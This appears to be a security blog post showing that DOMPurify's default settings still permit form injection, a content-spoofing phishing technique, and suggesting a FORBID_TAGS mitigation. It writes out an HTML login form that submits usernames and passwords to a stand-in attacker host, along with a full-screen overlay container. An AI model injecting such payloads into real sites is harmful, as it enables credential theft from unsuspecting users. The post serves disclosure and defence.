DOMPurify - the dangers in the defaults

2025-11-17

DOMPurify has 14.5 million weekly downloads on NPM.

It's a great library for sanitising HTML, made by a pentester, and very popular.

DOMPurify will strip out everything that contains dangerous HTML and thereby prevent XSS attacks and other nastiness.

Let's hope so!

Security Goals

https://github.com/cure53/DOMPurify/wiki/Security-Goals-&-Threat-Model lists the security goals as:

and it will not protect against:

I think this example falls somewhere in between these stated goals and non-goals, and may be a surprise to the unsuspecting.

The defaults

By default:

  1. dompurify doesn't block <form> elements
  2. dompurify doesn't block <input> elements
  3. dompurify doesn't strip style attributes
  4. dompurify doesn't strip action attributes

So what can we still do?

Form injection! 🥸🖱️💥

OWASP describes this attack as Content Spoofing at https://owasp.org/www-community/attacks/Content_Spoofing#hypertext-markup-language-html-injection, and says it's a form of social engineering used for phishing.

DOMPurify describes the attack as Clickjacking and outside DOMPurify's threat model at https://github.com/cure53/DOMPurify/issues/453.

It definitely feels like Clickjacking, but the OWASP definition at https://owasp.org/www-community/attacks/Clickjacking is more specific:

when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the top level page

How do we do it?

Render a form over the top of existing content to simulate a form the user expects to see.

The fake form can submit to a 3rd-party site, and in a well-implemented attack could transparently redirect the user back to the target website afterwards.

Extra points if you can get it to autocomplete with data from their password manager.

Key ingredients

Recipe

1. The form

Create a form with the data you want:

<form action="malicious.example.com">
  <input name="username" type="text"/>
  <input name="password" type="password"/>
  <input type="submit"   value="Log in"/>
</form>

2. The container

<div style="position:fixed; top:0; bottom:0; left:0; right:0">
  <!-- form goes here -->
</div>

3. The style

Mix in some style="..." attributes to make the form look plausible.

Mitigation

How can you prevent this issue?

A robust DOMPurify configuration should rely on the ALLOWED_TAGS option, but if you just want to quickly block this specific attack then FORBID_TAGS: ['form', 'input', 'style'] should be enough.

Playground

Here's a little playground you can test some ideas:

Input

Clicking this button will call:
const clean = DOMPurify.sanitize(dirty, { USE_PROFILES: { html: true } });
and insert your purified/sanitised HTML into the "Render Zone" below:

Render Zone